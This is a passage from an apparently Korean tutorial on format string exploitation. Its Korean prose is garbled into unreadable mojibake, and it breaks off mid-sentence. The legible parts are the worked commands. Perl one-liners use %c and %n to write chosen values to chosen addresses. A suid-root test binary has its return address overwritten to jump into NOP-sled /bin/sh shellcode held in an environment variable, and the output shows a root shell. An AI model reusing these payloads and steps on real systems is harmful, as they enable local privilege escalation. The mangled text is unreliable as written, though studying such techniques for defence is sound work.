ÀÖ´ø "1"ÀÌ´Ù. ±×¸®°í ³ª¼­ printf´Â "%n"Çü½Ä ¹®ÀÚ°¡ ÀÖ´Â °ÍÀ» È®ÀÎÇÏ°Ô µÇ°í, ½ºÅÃÀÇ ´ÙÀ½ °ªÀ» ²¨³»°Ô µÈ´Ù. À̶§ ÀÌ °ªÀº bufÀÇ Ã¹¹ø° 4¹ÙÀÌÆ®°¡ µÇ´Â °ÍÀÌ´Ù. ¾Õ¼­ ¿ì¸®°¡ ÀÔ·ÂÇß´ø °Í°ú °°ÀÌ ÀÌ 4¹ÙÀÌÆ®´Â "\xd0\xf9\xff\xbf"ÀÌ µé¾îÀÖ´Ù. ÀÌ´Â 16Áø¼ö 0xbffff9d0·Î Çؼ®µÈ´Ù. ¸¶Áö¸·À¸·Î printf´Â "%n"À¸·Î È®ÀÎÇÑ Ãâ·ÂµÉ °ø°£ÀÇ °³¼ö(4¹ÙÀÌÆ®ÀÇ ¸Þ¸ð¸® ÁÖ¼Ò(\xd0\xf9\xff\xbf) + 1¹ÙÀÌÆ® Çü½Ä Áö½ÃÀÚ(%d) = 5)¸¦ ÀÌ ÁÖ¼Ò¿¡ µ¤¾î¾²°Ô µÇ´Â °ÍÀÌ´Ù. ±×·±µ¥, ÀÌ¹Ì ¾Ë°í ÀÖµíÀÌ ÀÌ ÁÖ¼Ò´Â ¹Ù·Î x°ªÀÌ ÀúÀåµÇ¾î ÀÖ´Â ¸Þ¸ð¸®»óÀÇ ÁÖ¼ÒÀÌ´Ù. µû¶ó¼­ x°ªÀÌ 5·Î º¯°æµÇ´Â °ÍÀÌ´Ù. µû¶ó¼­, "\xd0\xf9\xff\xbf%d%n"À» "\xd0\xf9\xff\xbf%ÀÓÀÇÁ¤¼öd%n"·Î º¯°æÇÏ¸é ¿øÇÏ´Â °ªÀ» ÀԷ½Ãų ¼ö ÀÖ°Ô µÈ´Ù. ÇÑ°¡Áö ÁÖÀÇÇÒ Á¡Àº ¿ì¸®°¡ ÀÔ·ÂÇÏ´Â ÁÖ¼Ò°¡ ¾î´À °÷¿¡ ÀúÀåµÇ°í ¸î¹ø° Çü½Ä Áö½ÃÀÚ¿¡ ÀÇÇØ popµÇ´Â Áö¸¦ È®ÀÎÇØ¾ß ÇÑ´Ù. ±×¸®°í popµÇ´Â ÇØ´ç Çü½Ä Áö½ÃÀÚ¸¦ %nÀ¸·Î º¯°æÇÏ¿©¾ß ÀԷ½Ãų Á¤È®ÇÑ À§Ä¡¸¦ ÁöÁ¤ÇÒ ¼ö ÀÖ´Ù. ¶ÇÇÑ ¾Õ¼­ È®ÀÎÇÑ º¯¼ö xÀÇ À§Ä¡¿Í °ªÀ» º¯°æÇϱâ À§ÇØ »ç¿ëÇÑ x°ªÀÌ ´Ù¸¦ ¼ö ÀÖ´Ù´Â °ÍÀ» ÀØÁö ¸»¾Æ¾ß ÇÑ´Ù. ¸¸¾à Á¤È®ÇÑ À§Ä¡¿¡ °ªÀ» ÀúÀåÇÏÁö ¾Ê´Â °æ¿ì¿¡´Â À§ ÇÁ·Î±×·¥ÀÇ °á°ú ÀÚü°¡ Ãâ·ÂµÇÁö ¾Ê´Â °æ¿ìµµ ÀÖ´Ù. ¿ì¸®°¡ ¿©±â¼­ ¼±ÅÃÇÑ ÁÖ¼Ò 0xbffff9d0´Â »ç½Ç ½±°Ô ¾òÀ» ¼ö ÀÖ´Â ÁÖ¼Ò°¡ ¾Æ´Ï¶ó´Â °ÍÀÌ´Ù. ¾Õ¼­ Àá½Ã ¾ð±ÞÇÑ ¹Ù¿Í °°ÀÌ ÀÌ°ÍÀº ÇÁ·Î±×·¥À» debugger¸¦ ÀÌ¿ëÇÏ¿© ÇÁ·Î±×·¥À» disassembleÇؼ­ Á¤È®ÇÑ ¸Þ¸ð¸®ÀÇ À§Ä¡¸¦ È®ÀÎÇØ¾ß ÇÑ´Ù. 4.2 ¸Þ¸ð¸® ÁÖ¼Ò °ª ÀÔ·ÂÇϱâ ÀϹÝÀûÀÎ ÇØÅ·¿¡ »ç¿ëµÇ´Â ¸Þ¸ð¸® ÁÖ¼Ò ÀÚü¸¦ ÀÔ·ÂÇϱâ À§Çؼ­´Â ¾î¶»°Ô ÇØ¾ß Çϴ°¡? ÀϹÝÀûÀ¸·Î ¸Þ¸ð¸® ÁÖ¼Ò´Â 4¹ÙÀÌÆ® Å©±â·Î ÁöÁ¤µÈ´Ù. Áï, 0x00000000ºÎÅÍ 0xffffffff±îÁö ÀÌ´Ù. ±×·±µ¥, ÀÏ¹Ý x86½Ã½ºÅÛ¿¡¼­´Â Á¤¼ö¸¦ ÀÌ¿ëÇÏ¿© 0xffffffff(4294967295)¸¸ Å­ÀÇ Å©±â¸¦ ÁöÁ¤ÇÒ ¼ö ¾ø´Ù. µû¶ó¼­ ´ÙÀ½°ú °°ÀÌ ÀÔ·ÂÇÏ°íÀÚ ÇÏ´Â ÁÖ¼Ò¸¦ 2¹ÙÀÌÆ®¾¿ ³ª´©¾î¼­ µÎ¹ø¿¡ °ÉÃÄ ÀÔ·ÂÇØ¾ß ÇÑ´Ù. µû¶ó¼­ ¸¸¾à ¾î¶² °ªÀ» ÀÔ·ÂÇÏ°íÀÚ ÇÏ´Â ¸Þ¸ð¸® ÁÖ¼Ò°¡ ¸¸¾à 0xbffffa10À̶ó¸é 0xbffffa10¿¡ 2¹ÙÀÌÆ®¸¦ ÀÔ·ÂÇÏ°í, 0xbffffa12¿¡ 2¹ÙÀÌÆ®¸¦ ÀÔ·ÂÇØ¾ß ÇÏ°í, ¿ì¸®°¡ ÀÔ·ÂÇØ¾ß ÇÏ´Â °ªÀÌ 0xbffffa90¶ó¸é ¾ÕÂÊ 0xbfffºÎºÐ°ú µÚÂÊ 0xfa90ºÎºÐÀ» °¢°¢ ³ª´©¾î Á¤¼ö·Î º¯°æÇÑ ÈÄ ÀÔ·ÂÇØ¾ß ÇÑ´Ù. ¶ÇÇÑ ÀÏ¹Ý x86½Ã½ºÅÛÀÇ °æ¿ì, ¸®Æ² ¿£µð¾È(little endian)À» »ç¿ëÇϱ⠶§¹®¿¡, 0xfa90ºÎºÐÀÌ 0xbfffºÎºÐº¸´Ù ¸ÕÀú ÀԷµǾîÁ®¾ß ÇÑ´Ù. ¶ÇÇÑ ¾î¶² °ªÀ» ÀԷ½Ãų ÁÖ¼Ò·Î »ç¿ëÇÏ´Â ºÎºÐ°ú °¢Á¾ Çü½Ä Áö½ÃÀÚ ¿ª½Ã Æ÷ÇÔ½ÃÄѼ­ ÇÔ²² °è»êÇÏ¿©¾ß ÇÑ´Ù. ÇÑ°¡Áö ´õ ÁÖÀÇÇØ¾ß ÇÏ´Â Á¡Àº ¿øÇÏ´Â °ªÀ» ÀÔ·ÂÇϱâ À§Çؼ­´Â %n Áö½ÃÀÚ ¾Õ¿¡ ÃÖ¼ÒÇÑ 1°³ ÀÌ»óÀÇ %nÀÌ ¾Æ´Ñ ´Ù¸¥ Áö½ÃÀÚ°¡ ÀÖ¾î¾ß ÇÑ´Ù. ±×·¡¾ß¸¸ "%ÀÓÀÇÁ¤¼öd"µî°ú °°ÀÌ »ç¿ëÇÏ¿© ¿øÇÏ´Â °ªÀ» ÀÔ·ÂÇÒ ¼ö Àֱ⠶§¹®ÀÌ´Ù. ƯÈ÷ Àüü ÁÖ¼Ò°ªÀ» ¹ÝÀ¸·Î ³ª´©¾î 2¹ø¿¡ °ÉÃÄ ÀÔ·ÂÇϱâ À§Çؼ­´Â °¢°¢ÀÇ %n Áö½ÃÀÚ ¾Õ¿¡ ¾î¶² ´Ù¸¥ Çü½Ä Áö½ÃÀÚ°¡ Á¸ÀçÇؾ߸¸ ÇÑ´Ù. ±×·¯¹Ç·Î, ¾Õ¼­ »ìÆ캸¾Ò´ø ¹æ½Ä´ë·Î ÁÖ¼Ò¸¸ ÀÔ·ÂÇؼ­´Â ºÒ°¡´ÉÇØ Áø´Ù. ¿Ö³ÄÇϸé %nÀÌ ¾Æ´Ñ ´Ù¸¥ Áö½ÃÀÚ¿¡ ÀÇÇØ ½ºÅÃÀÇ ³»¿ëÀÌ popµÇ¹Ç·Î ÀÌ ¼Õ½ÇÀ» º¸Á¤ÇØÁÖ±â À§Çؼ­´Â ´Ù¸¥ °ªÀ» ÀÔ·ÂÇØ ÁÖ¾î¾ß¸¸ ÇÑ´Ù. ÀÏ´Ü °£´ÜÈ÷ ¿øÇÏ´Â ³»¿ëÀ» µÎ¹ø¿¡ °ÉÃÄ ÀÔ·ÂÇÏ´Â ¿¹¸¦ »ìÆ캸±â·Î ÇÑ´Ù. ¿©±â¼­ »ç¿ëÇÏ´Â testÇÁ·Î±×·¥Àº ¿ì¸®°¡ ÀÔ·ÂÇÏ·Á´Â À§Ä¡ÀÇ 4¹ÙÀÌÆ®¸¦ dumpÇϵµ·Ï ¸¸µç ÇÁ·Î±×·¥À¸·Î ±âº» °ñ°ÝÀº <¿¹Á¦ 2>ÀÇ ÇÁ·Î±×·¥°ú µ¿ÀÏÇÏ´Ù. °¢°¢ÀÇ ÁÖ¼Ò¿¡ ¿øÇÏ´Â °ªÀ» ÀÔ·ÂÇϱâ À§Çؼ­ %cÁö½ÃÀÚ¸¦ %nÁö½ÃÀÚ ¾Õ¿¡ »ç¿ëÇÏ¿´À¸¸ç, %cÁö½ÃÀÚ¿¡ ÀÇÇÑ ¼Õ½ÇÀ» º¸Á¤ÇØ ÁÖ±â À§Çؼ­ AAAAÀ̶ó´Â ¹®ÀÚ¿­À» °¢°¢ÀÇ ÁÖ¼Ò »çÀÌ¿¡ ÀÔ·ÂÇÏ¿´´Ù. [xepfy@129 format]# perl -e 'system "./fmtme", "\x20\xfb\xff\xbfAAAA\x22\xfb\xff \xbf%c%x%c%x"' û¿AAAA"û¿bffffb20Abffffb22 x is 1/0x1(@0xbffff9c0) 0xbffffb20 05 00 00 00 .... [xepfy@129 format]# perl -e 'system "./fmtme", "\x20\xfb\xff\xbfAAAA\x22\xfb\xff \xbf%c%n%c%n"' û¿AAAA"û¿A x is 1/0x1(@0xbffff9c0) 0xbffffb20 0d 00 0e 00 .... [xepfy@129 format]# <±×¸² 9> 2¹ÙÀÌÆ®¾¿ ³ª´©¾î ÀÔ·Â °á°ú¸¦ »ìÆ캸¸é Ãâ·ÂµÉ ¹ÙÀÌÆ® Å©±â 0x0d(13)¿Í 0x0e(14)°¡ °¢°¢ 0xbffffb20¿Í 0xbffffb22¿¡ ÀԷµǾú´Ù. À̹ø¿¡´Â ¿øÇÏ´Â °ª(0xbffffa90)À» ÀÔ·ÂÇϵµ·Ï ÇÑ´Ù. ¸ÕÀú 0xfa90¿¡ ´ëÇÑ Á¤¼ö °ªÀ» °è»êÇغ¸¸é 64144ÀÌ´Ù. ±×·±µ¥, 13¹ÙÀÌÆ®°¡ Ãâ·ÂµÇµµ·Ï µÇ¾î ÀÖÀ¸¹Ç·Î 64144 ? 13 = 64131À» »ç¿ëÇØ¾ß ÇÏÁö¸¸, %d´ë½Å¿¡ %ÀÓÀÇÁ¤¼öd ÇüŸ¦ »ç¿ëÇϱ⠶§¹®¿¡ ±âÁ¸¿¡ %d¿¡ ÀÇÇØ 1¸¸Å­ °¨¼Ò ½ÃÄ×´ø °ªÀ» ´õÇØÁÖ¾î¾ß ÇÑ´Ù. µû¶ó¼­ ½ÇÁ¦·Î »ç¿ëÇÏ´Â °ªÀº %64132d°¡ µÈ´Ù. ´ÙÀ½Àº 0xbfff¿¡ ´ëÇÑ °ªÀ» ¼±Á¤ÇÑ´Ù. ¸ÕÀú 0xbfff¿¡ ´ëÇÑ Á¤¼ö °ªÀº 49151ÀÌ´Ù. ±×·±µ¥ ÀÌ¹Ì 0xfa90¿¡ ´ëÇÑ 64144¸¸Å­ÀÇ Ãâ·Â Å©±â°¡ Ãß°¡µÇ¾î ÀÖÀ¸¹Ç·Î, 49151 ? 64144 = -14993ÀÌ´Ù. ±×·±µ¥, À½¼ö¸¦ »ç¿ëÇÒ ¼ö ¾øÀ¸¹Ç·Î À̸¦ ¾ç¼ö·Î °è»êÇϱâ À§Çؼ­´Â 0xbfff°ªÀ» 0x1bfffÀ¸·Î º¯°æÇÏ¿© °è»êÇÑ´Ù. µû¶ó¼­ 0x1bfff(114687) ? 0xfa90(64144) = 0xc56f(50543)À» »ç¿ëÇÑ´Ù. ÀÌ·¸°Ô °è»êÇÏ´Â ÀÌÀ¯´Â À½¼ö°¡ ½ÇÁ¦·Î ¸Þ¸ð¸®»ó¿¡ ÀúÀåµÉ ¶§´Â MSB(Most Significant Bit)°¡ 1·Î ¼ÂÆÃµÇ°Ô µÇ´Âµ¥, ÀÌ°ÍÀ» À½¼ö°¡ ¾Æ´Ñ ½ÇÁ¦ °ªÀ¸·Î °è»êÇϸé 65536 ? 14993 = 50543ÀÌ µÇ±â ¶§¹®ÀÌ´Ù. À̸¦ ½±°Ô °è»êÇϱâ À§Çؼ­ ¾Õ¼­ ¼³¸íÇÑ ¹æ¹ýÀ» »ç¿ëÇÏ´Â °ÍÀÌ´Ù. ÀÌ¿¡ ¿ì¸®°¡ ¿øÇÏ´Â °ªÀ» °áÁ¤ÇÏ¿´´Ù. ÀÌÁ¦ À̸¦ ÀÌ¿ëÇÏ¿© ½ÇÁ¦·Î ¿øÇÏ´Â °ªÀÌ ¸Þ¸ð¸®¿¡ ÀúÀåµÇ´Â Áö¸¦ È®ÀÎÇØ º¸µµ·Ï ÇÑ´Ù. [xepfy@129 format]# perl -e 'system "./fmtme", "\x20\xfb\xff\xbfAAAA\x22\xfb\xff \xbf%64132c%n%50543c%n"' ... (»ý·«) ... A x is 1/0x1(@0xbffff9b0) 0xbffffb20 90 fa ff bf .... [xepfy@129 format]# <±×¸² 10> ¿øÇÏ´Â °ªÀ» ¿øÇÏ´Â ¸Þ¸ð¸® À§Ä¡¿¡ ÀúÀå ¿ì¸®°¡ ¿øÇÏ´Â °ª 0xbffffa90ÀÌ Á¤»óÀûÀ¸·Î µé¾î ÀÖ´Â °ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ´Ù. ÀÌÁ¦ ¿øÇÏ´Â °ªÀ» ¿øÇÏ´Â ¸Þ¸ð¸®¿¡ ÀÔ·ÂÇÒ ¼ö ÀÖ°Ô µÇ¾ú´Ù. 4.3 °£´ÜÇÑ exploit <¿¹Á¦ 1> ÇÁ·Î±×·¥À» ´Ù½Ã »ìÆ캸µµ·Ï ÇÏÀÚ. ÀÌ ÇÁ·Î±×·¥Àº ¾Õ¼­ º¯¼­ xÀÇ ³»¿ëÀ» º¯°æÇÑ °Íó·³, ÀÏ¹Ý »ç¿ëÀÚ°¡ ¸Þ¸ð¸®ÀÇ ³»¿ëÀ» º¯°æ½Ãų ¼ö ÀÖ´Â Ãë¾àÁ¡À» °¡Áö°í ÀÖ´Ù. ¿ì¸®´Â ÀÌ ÇÁ·Î±×·¥À» ÀÌ¿ëÇÏ¿© ½©À» ½ÇÇà½ÃÅ°µµ·Ï ÇÑ´Ù. Root ±ÇÇÑÀÇ ½©À» ¾ò±â À§Çؼ­ <¿¹Á¦ 1> ÇÁ·Î±×·¥ÀÇ ¼ÒÀ¯ÁÖ¸¦ root·Î º¯°æÇÏ°í suid ºñÆ®¸¦ ºÎ¿©Çϵµ·Ï ÇÑ´Ù. [xepfy@129 format]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) [xepfy@129 format]# chown root fmtme [xepfy@129 format]# chgrp root fmtme [xepfy@129 format]# chmod +s fmtme [xepfy@129 format]# ls -l fmtme -rwsrwsr-x 1 root root 12712 5¿ù 3 14:21 fmtme [xepfy@129 format]# exit exit [xepfy@129 xepfy]$ id uid=506(xepfy) gid=506(xepfy) groups=506(xepfy) [xepfy@129 xepfy]$ <±×¸² 11> owner ¹× groupÀ» root·Î º¯°æ, suidºñÆ® ºÎ¿© ¿ì¸®ÀÇ ¸ñÀûÀº root ±ÇÇÑÀÇ ½©À» ½ÇÇà½ÃÅ°´Â °ÍÀÌ´Ù. ±×·¸°Ô Çϱâ À§Çؼ­´Â * ½ºÅà »ó¿¡ º¹±ÍÁÖ¼Ò°¡ ÀúÀåµÇ¾î ÀÖ´Â À§Ä¡¸¦ È®ÀÎÇÏ°í, * ½© ÄÚµåÀÇ À§Ä¡¸¦ È®ÀÎÇÏ°í, * º¹±ÍÁÖ¼ÒÀÇ À§Ä¡¿¡ ½© ÄÚµåÀÇ ÁÖ¼Ò¸¦ ÀÔ·ÂÇÑ ÈÄ, ½©À» ½ÇÇàÇÑ´Ù. 4.3.1 º¹±Í ÁÖ¼Ò À§Ä¡ È®ÀÎ ½ÇÁ¦·Î ¾î¶² ÇÁ·Î±×·¥ÀÇ º¹±ÍÁÖ¼Ò¸¦ È®ÀÎÇÏ´Â ÀÛ¾÷Àº ±×¸® ½¬¿î ÀÛ¾÷ÀÌ ¾Æ´Ï´Ù. ÇöÀç ¿ì¸®°¡ »ç¿ëÇÏ°í ÀÖ´Â Ãë¾àÇÑ ÇÁ·Î±×·¥°ú °°ÀÌ ¼Ò½ºÄڵ带 ¾Ë°í ÀÖÁö ¾ÊÀº °æ¿ì¿¡´Â ´õ¿í ±×·¸´Ù. ¸¸¾à Ãë¾àÇÑ ÇÁ·Î±×·¥ ÆÄÀÏ¿¡ Àб⠱ÇÇÑÀÌ ¾ø´Â °æ¿ì¿¡´Â ´õ´õ¿í º¹±ÍÁÖ¼ÒÀÇ À§Ä¡¸¦ ã´Â ÀÛ¾÷Àº ¾î·Á¿öÁø´Ù. ¿ì¸®´Â Ãë¾àÇÑ ÇÁ·Î±×·¥ÀÇ ¼Ò½ºÄڵ带 ¾Ë°í Àֱ⠶§¹®¿¡, main() ÇÔ¼ö¿¡¼­ »ç¿ëÇÏ´Â Áö¿ªº¯¼ö¿¡ ÇÒ´çµÈ ¸Þ¸ð¸®ÀÇ Å©±â¸¦ ¾Ë ¼ö ÀÖÀ¸¹Ç·Î °£´ÜÈ÷ ½ºÅÃÆ÷ÀÎÅÍ¿Í ÇÁ·¹ÀÓ Æ÷ÀÎÅÍÀÇ À§Ä¡¸¦ È®ÀÎÇϸé Á¤È®ÇÑ º¹±ÍÁÖ¼ÒÀÇ À§Ä¡¸¦ ¾Ë ¼ö ÀÖ´Ù. ¿ì¸®´Â ÀÌ¹Ì ¾Õ Àý¿¡¼­ »ìÆ캻 ¹Ù¿Í °°ÀÌ ¿ì¸®´Â ½ºÅà ¿µ¿ªÀÇ layoutÀ» ¾Ë°í ÀÖÀ¸¹Ç·Î, main() ÇÔ¼öÀÇ º¹±ÍÁÖ¼ÒÀÇ À§Ä¡¸¦ °è»êÇÒ ¼ö ÀÖ´Ù. ½ÇÁ¦·Î format string °ø°Ý±â¹ýÀÇ ÇÙ½ÉÀº º¹±Í ÁÖ¼ÒÀÇ À§Ä¡¸¦ ¾Ë¾Æ³»´Â °ÍÀÌ´Ù. ÀÌ´Â »ó´çÇÑ ¼öÁØÀÇ ÇØÄ¿µéµµ ½±°Ô ã¾Æ³»Áö ¸øÇÏ´Â »çÇ×ÀÌ´Ù. ½ÇÁ¦·Î suidºñÆ®¸¦ ºÎ¿©ÇÏ°í ³ª¼­´Â gdb¸¦ ÀÌ¿ëÇÏ¿© ½ÇÇà½Ãų ¼ö ¾ø¾ú´Ù. ±×·¡¼­ º¹±ÍÁÖ¼Ò¸¦ ã±â À§Çؼ­ suidºñÆ®¸¦ Á¦°ÅÇÏ°í º¹±ÍÁÖ¼Ò¸¦ ã¾Ò´Ù. ãÀº º¹±ÍÁÖ¼Ò´Â 0xbffff1fc¿´´Ù. 4.3.2 ½© ÄÚµåÀÇ À§Ä¡ È®ÀÎ ½ºÅà »óÀÇ º¹±ÍÁÖ¼Ò¸¦ º¯°æ½ÃÅ°±â Àü¿¡ ÇÑ°¡Áö À¯ÀÇÇÒ °ÍÀÌ ÀÖ´Ù. ÀÏ¹Ý ¹öÆÛ ¿À¹öÇÃ·Î¿ì °ø°Ý°ú ¸¶Âù°¡Áö·Î format string °ø°Ý ½Ã¿¡µµ ¸Þ¸ð¸®»óÀÇ ¾îµò°¡ ½©À» ¼öÇà½Ãų ¼ö ÀÖ´Â ½© Äڵ尡 µé¾î ÀÖ¾î¾ß ÇÑ´Ù. ¸¸¾à format string Ãë¾àÁ¡À» °¡Áö°í ÀÖ´Â ÇÁ·Î±×·¥¿¡¼­ »ç¿ëÇÒ ¼ö ÀÖ´Â ¹öÆÛÀÇ Å©±â°¡ ÃæºÐÇÑ NOP(Non Operation) ÄÚµå¿Í ½© Äڵ带 Æ÷ÇÔÇÒ ¼ö ÀÖ´Ù¸é Ãë¾àÇÑ ÇÁ·Î±×·¥¿¡ ½© Äڵ带 Á÷Á¢ ÀÔ·ÂÇÒ ¼ö ÀÖÁö¸¸, ´ëºÎºÐÀÇ °æ¿ì¿¡ ¹öÆÛÀÇ Å©±â°¡ ±×·¸°Ô Å©Áö ¾Ê´Ù. µû¶ó¼­ ÀϹÝÀûÀ¸·Î "NOP+½© ÄÚµå"·Î ÀÌ·ç¾îÁø ¹®ÀÚ¿­À» ȯ°æº¯¼ö·Î ¹Ð¾î ³Ö¾î »ç¿ëÇÏ°Ô µÈ´Ù. º» ¹®¼­¿¡¼­µµ ÀÌ ¹æ¹ýÀ» ÀÌ¿ëÇÏ¿© ½© ÇÁ·Î±×·¥À» ¼öÇà½ÃÅ°µµ·Ï ÇÑ´Ù. ÀÌÁ¦ º»°ÝÀûÀ¸·Î º¹±ÍÁÖ¼Ò¸¦ ½© Äڵ尡 µé¾îÀִ ȯ°æº¯¼ö EGGÀÇ NOP ÄÚµå·Î º¯°æ½ÃÅ°µµ·Ï ÇÏÀÚ. ¸ÕÀú ȯ°æº¯¼ö EGG°¡ ½ºÅà »ó¿¡ ¾îµð¿¡ À§Ä¡ÇÏ°í ÀÖ´ÂÁö¸¦ È®ÀÎÇÑ´Ù. ¿©·¯ °¡Áö ¹æ¹ýÀÌ ÀÖÁö¸¸, ¿©±â¼­´Â gdb¸¦ ÀÌ¿ëÇÏ¿© À§Ä¡¸¦ È®ÀÎÇϵµ·Ï ÇÑ´Ù. Á¤È®ÇÑ À§Ä¡¸¦ È®ÀÎÇÏ´Â ¸í·É ¹× ¼ø¼­¿¡ ´ëÇؼ­´Â »ý·«Çϵµ·Ï ÇÑ´Ù. 0xbffff58e: "SHELL=/bin/bash" 0xbffff59e: "USER=xepfy" 0xbffff5a9: "PERL_BADLANG=0" 0xbffff5b8: "EGG=", '\220' ... 0xbffff680: '\220' ... 0xbffff748: '\220' ... 0xbffff810: '\220' ... 0xbffff8d8: '\220' ... 0xbffff9a0: '\220' ... 0xbffffa68: '\220' ... 0xbffffb30: '\220' ... 0xbffffbf8: '\220' ... 0xbffffcc0: '\220' ... 0xbffffd88: "\220\220?037^\211v\b1?210F\a\211F\f?013\211?215N\b\215V\f? \2001?211??200èÜ/bin/sh" 0xbffffdb8: "LC_CTYPE=ko" <±×¸² 12> ȯ°æº¯¼ö EGGÀÇ ½ºÅûóÀÇ À§Ä¡ È®ÀÎ È®ÀÎÇÑ °á°ú ȯ°æº¯¼ö EGG´Â ¸Þ¸ð¸® »óÀÇ ÁÖ¼Ò 0xbffff5b8ºÎÅÍ 0xbffffdb7±îÁö ÀÌ´Ù. ±× Áß¿¡¼­ NOP ÄÚµå´Â 0xbffff5b8ºÎÅÍ 0xbffffcc0±îÁö À̹ǷÎ, ¿ì¸®´Â º¹±ÍÁÖ¼Ò¸¦ ÀÌ ¹üÀ§³»ÀÇ ÀÓÀÇ À§Ä¡¸¦ »ç¿ëÇÏ¸é µÈ´Ù. ¿ì¸®´Â 0xbffffa2a¸¦ ÀÌ¿ëÇϵµ·Ï ÇÑ´Ù. 4.3.3 º¹±ÍÁÖ¼ÒÀÇ À§Ä¡¿¡ ½© ÄÚµåÀÇ ÁÖ¼Ò ÀÔ·Â ¹× ½© ½ÇÇà ÀÌ¹Ì ¸ðµç ³»¿ëÀ» ¾Õ¼­ ¼³¸íÇÏ¿´À¸¹Ç·Î ´ÙÀ½°ú °°ÀÌ º¹±ÍÁÖ¼Ò°¡ ÀúÀåµÇ¾î ÀÖ´Â ½ºÅà ¿µ¿ª 0xbfffff1fc¿¡ ½© Äڵ尡 µé¾îÀÖ´Â ½ºÅÿµ¿ªÀÇ ÁÖ¼Ò 0xbffffa2a¸¦ ÀÔ·ÂÇÏ°í exploit ½ÃÄ×´Ù. Exploit °á°ú ½ÇÁ¦·Î ½©ÀÌ Çϳª ½ÇÇàµÇ¾ú°í "id"¸í·ÉÀ¸·Î È®ÀÎÇغ» °á°ú root±ÇÇÑÀÇ ½©ÀÓÀ» È®ÀÎÇÒ ¼ö ÀÖ¾ú´Ù. [xepfy@129 xepfy]$ id uid=506(xepfy) gid=506(xepfy) groups=506(xepfy) [xepfy@129 xepfy]$ perl -e 'system "./fmtme", "\x7c\xf2\xff\xbfAAAA\x7e\xf2\xff\xbf%64132c%n%50543c%n"' ... (»ý·«) ... bash# id uid=506(xepfy) gid=506(xepfy) euid=0(root) egid=0(root) groups=506(xepfy) bash# <±×¸² 13> Ãë¾àÇÑ ÇÁ·Î±×·¥ exploit °á°ú 5. °á·Ð ÀÚ, ÀÌÁ¦ ¿ì¸®´Â format string Ãë¾àÁ¡À» ÀÌ¿ëÇÏ¿© ¿øÇÏ´Â Äڵ带 ½ÇÇà½Ãų ¼ö ÀÖ´Ù´Â °ÍÀ» ¾Ë¾Ò´Ù. ÀÌ¿Í °°ÀÌ Çü½Ä ¹®ÀÚ¸¦ ÀÌ¿ëÇÏ´Â ÇÔ¼ö¿¡ ´ëÇؼ­ ÇÁ·Î±×·¡¹ÖÀÇ ÆíÀǸ¦ À§ÇØ Á¤È®ÇÑ format stringÀ» »ç¿ëÇÏÁö ¾ÊÀº °æ¿ì, ¹®Á¦°¡ ÀÖ´Â °÷ÀÇ Á¤È®ÇÑ À§Ä¡¸¦ ¾Ë°í ¾î¶² ½ÄÀ¸·Î ¹öÆÛ°ü¸®°¡ ÀÌ·ç¾îÁö´Â Áö¸¦ ¾È´Ù¸é, ¿øÇÏ´Â Äڵ带 ¸Þ¸ð¸®»ó¿¡ ÀԷ½ÃÄÑ ¾î¶² ÇÁ·Î±×·¥ÀÇ UID¸¦ º¯°æ½Ãų ¼ö ÀÖ°í, ¿øÇÏ´Â ¸í·ÉÀ» ¼öÇà½Ãų ¼ö ÀÖÀ¸¸ç, ½© Äڵ带 Æ÷ÇÔÇÏ°í ÀÖ´Â À§Ä¡·Î return address¸¦ º¯°æ½Ãų ¼ö ÀÖ´Ù´Â °ÍÀ» ¾Ë¾Ò´Ù. ÀÌ°ÍÀÌ ¹Ù·Î format string attackÀÇ ±âº» °³³äÀÎ °ÍÀÌ´Ù. ÀÌ¿Í °°Àº format string attackÀº function(format, args..) À¯ÇüÀÇ ÇÁ·Î±×·¥¿¡¼­ formatºÎºÐ¿¡ À¯ÀúÀÇ ÀÔ·ÂÀÌ °¡´ÉÇÑ °æ¿ì ÀÌ¿Í °°Àº ¸ðµç ÇÔ¼ö¿¡ ´ëÇØ ÀÌ·ç¾îÁú ¼ö ÀÖ´Ù. ´ëÇ¥ÀûÀÎ ¿¹·Î, º» ¹®¼­¿¡¼­ ¿¹Á¦·Î »ç¿ëÇÑ printf()°¡ ÀÖ°í, ÀÌ ¿Ü¿¡ fprintf(), sprintf(), snprintf(), vprintf(), vsprintf(), vsnprintf(), setproctitle()³ª syslog()ÇÔ¼ö µîÀÌ ÀÖ´Ù°í ¾Ë·ÁÁ® ÀÖ´Ù. ÀÌ´Â stack overflow¿Í´Â ¾à°£ µ¿ÀÛ¿ø¸®°¡ ´Ù¸£±â ¶§¹®¿¡ ±âÁ¸ÀÇ ÀϹÝÀûÀÎ stack overflow guard·Î´Â ¹ß°ß ¹× ¹æ¾î°¡ ºÒ°¡´ÉÇÏ´Ù. Format string °ø°Ý±â¹ýÀº ±âÁ¸ÀÇ ¹öÆÛ ¿À¹öÇÃ·Î¿ì °ø°Ý±â¹ý¿¡ ºñÇؼ­ ±× ³­À̵µ°¡ ³ô´Ù. ÀÌ´Â º¹±ÍÁÖ¼Ò°¡ ÀúÀåµÈ Á¤È®ÇÑ À§Ä¡¸¦ ¾Ë¾Æ³»¾ß Çϱ⠶§¹®ÀÌ´Ù. ºñ·Ï ±× ³­À̵µ°¡ ³ô´Ù°í´Â Çϳª ÀÌ¹Ì format string Ãë¾àÁ¡À» ÀÌ¿ëÇÑ exploit code°¡ ´Ù¼ö ¹ßÇ¥µÇ¾î ÀÖÀ¸¸ç, º¸¾È¼ºÀÌ °¡Àå ¶Ù¾î³ª´Ù´Â Free-BSD°è¿­¿¡¼­µµ ÀÌ¿Í °°Àº format string attack¿¡ ´ëÇÑ ¹®Á¦Á¡ÀÌ ¹ß°ßµÇ¾úÀ½ÀÌ º¸°í µÇ¾ú´Ù. ÇöÀç±îÁö º¸°íµÈ ´ëÇ¥ÀûÀÎ exploit Äڵ忡´Â ´ÙÀ½°ú °°Àº °ÍµéÀÌ ÀÖ´Ù. == Remote exploit wu-ftpd, BSD ftpd, proftpd, rpc.statd, PHP 3 and 4, TIS-Firewall Toolkit == Local exploit Lpr, LPRng, ypbind, BSD chpass and fstat, libc¡¯s with localisation ¾ÕÀ¸·Îµµ ÀÌ·¯ÇÑ format string Ãë¾àÁ¡Àº °è¼ÓÇؼ­ º¸°íµÉ °ÍÀ¸·Î ÆǴܵȴÙ. ¹Ý¸é¿¡ ÀÌ·¯ÇÑ format string °ø°ÝÀ» ¸·±âÀ§ÇÑ ±¸Ã¼ÀûÀÎ ¹æ¹ýÀº ¾ÆÁ÷±îÁö ÀÌ·¸´Ù 